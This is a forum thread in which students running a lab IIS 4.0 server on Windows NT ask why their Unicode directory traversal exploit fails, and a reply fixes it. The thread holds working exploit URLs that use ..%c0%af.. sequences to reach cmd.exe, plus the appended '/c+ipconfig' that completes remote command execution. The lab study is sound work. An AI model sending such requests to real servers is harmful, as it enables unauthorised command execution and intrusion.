my classmates and i are simulating a directory traversal attack on an NT box we set up in our lab with IIS 4.0

Problem is, when entering the actual directory traversal strings in the browser, we get a 500 Internal Server Error.

example strings are as follows:
 http://testserverIP/samples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe
http://testserverIP/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe

since we know that the path exists and that cmd.exe exists, could anyone
give me an idea as to what is possibly preventing us from successfully recreating the said exploit?

any help would be much appreciated.  thanks. 

Hi Paddy,

Have a look at the following. It covers the IIS Extended Unicode Directory Traversal Vulnerability.

http://www.securityfocus.com/bid/1806/exploit

Your paths & unicode encoding look correct but you have not told cmd.exe what command to run.

Append this to your URLs:

/cmd.exe?/c+ipconfig

HTH,
Dean

probably because its windows NT, a 2k box should be vulnerable to more combinations of the unicode attack.

roger that.

thanks again, guys!

BTW, we're having fun tinkering with the box.